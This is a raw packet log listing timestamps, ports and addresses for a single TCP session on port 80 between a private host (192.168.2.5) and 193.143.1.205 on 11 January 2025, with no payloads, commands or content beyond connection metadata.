Jan 11, 2025 04:04:51.450701952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450719118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.450747967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.450792074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.451790094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.451826096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.451879025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.451879978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.451915026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.451951027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.451960087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.451987028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.452033043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.452038050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.452068090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.452105045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.452112913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.453367949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.493140936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.493221045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.493242979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.493282080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.493316889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.493326902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.493355989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.493416071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.533843040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.533922911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.533962011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.533997059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.533998966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534035921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534045935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534071922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534107924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534120083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534152031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534198046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534209013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534245014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534280062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534296989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534316063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534352064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534384012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534387112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534436941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534445047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534481049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534522057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534522057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534558058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534595013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534611940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.534630060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534665108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.534670115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576257944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576339006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576370001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576396942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576433897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576464891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576471090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576510906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576517105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576569080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576603889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576621056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576638937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576670885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576695919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576706886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576745033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576746941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576776981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576813936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576826096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576869011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576903105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576914072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.576940060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576968908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.576987028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577007055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577042103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577053070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577078104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577114105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577124119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577150106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577198029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577198982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577234030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577267885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577285051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577297926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577333927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577349901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577392101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577441931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577444077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577480078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577514887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577522993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577550888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577585936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577595949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577620983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577660084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577673912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577694893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577728987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577747107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577766895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577805996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577832937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.577898026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.577950001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578049898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578083038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578128099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578136921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578171968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578207016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578236103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578243017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578279972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578289032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578315973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578351021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578358889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578386068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578421116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578449965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578458071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578491926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578526974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578526974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578567028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578572989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578680992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578716040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578733921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578752995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578795910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578824997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578860998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578895092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578903913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.578931093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.578977108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579005003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579041958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579076052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579078913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579113960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579149008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579157114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579184055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579217911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579226017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579253912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579287052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579304934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579354048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579390049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579401016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579427004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579463959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579834938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579871893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579905987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579919100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.579942942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579977989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.579987049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580013037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580048084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580055952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580087900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580121994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580132008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580157995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580202103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580513954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580634117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580705881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580709934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580749035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580784082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580790043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580822945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580858946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580862999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580893040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580929041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.580945969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.580962896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.581001997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.581008911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.581037998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.581083059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.581424952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.582695007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.582752943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.582788944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.582803011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.582824945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.582871914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.591449022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621222973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621273994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621337891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621377945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621380091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621413946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621484041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621490002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621521950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621552944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621557951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621602058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621633053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621639967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621675014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621705055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621710062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621745110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621779919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621779919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621819019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621861935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621874094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621908903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621922970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.621953011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.621988058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.622020960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.622024059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.622061014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.622087955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.622096062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.622132063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.622147083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.663527012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663585901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663618088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.663620949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663690090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.663780928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663841009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663893938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663902998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.663928986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663964033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.663983107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.663997889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664035082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664064884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664071083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664103985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664138079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664141893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664175034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664200068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664273977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664309025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664335966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664345026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664380074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664390087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664597988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664628029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664658070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664664984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664700031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664733887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664742947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664768934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664803028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664807081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664836884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664855957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664891005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664927959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.664942026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.664964914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665014982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665047884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665101051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665134907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665167093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665169001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665204048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665230036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665237904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665272951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665287971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665306091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665344000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665354967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665710926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665744066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665764093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665779114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665815115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665851116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665853977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665884018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665901899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665921926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665956020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.665971994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.665991068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666023970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666042089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666059017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666093111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666110039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666127920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666162968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666177034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666197062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666234970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666250944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666538954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666573048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666589022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666609049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666644096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666656017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666678905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666713953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666723967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666749001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666784048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666798115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:04:51.666819096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:04:51.666852951 CET	80	49704	193.143.1.205	192.168.2.5
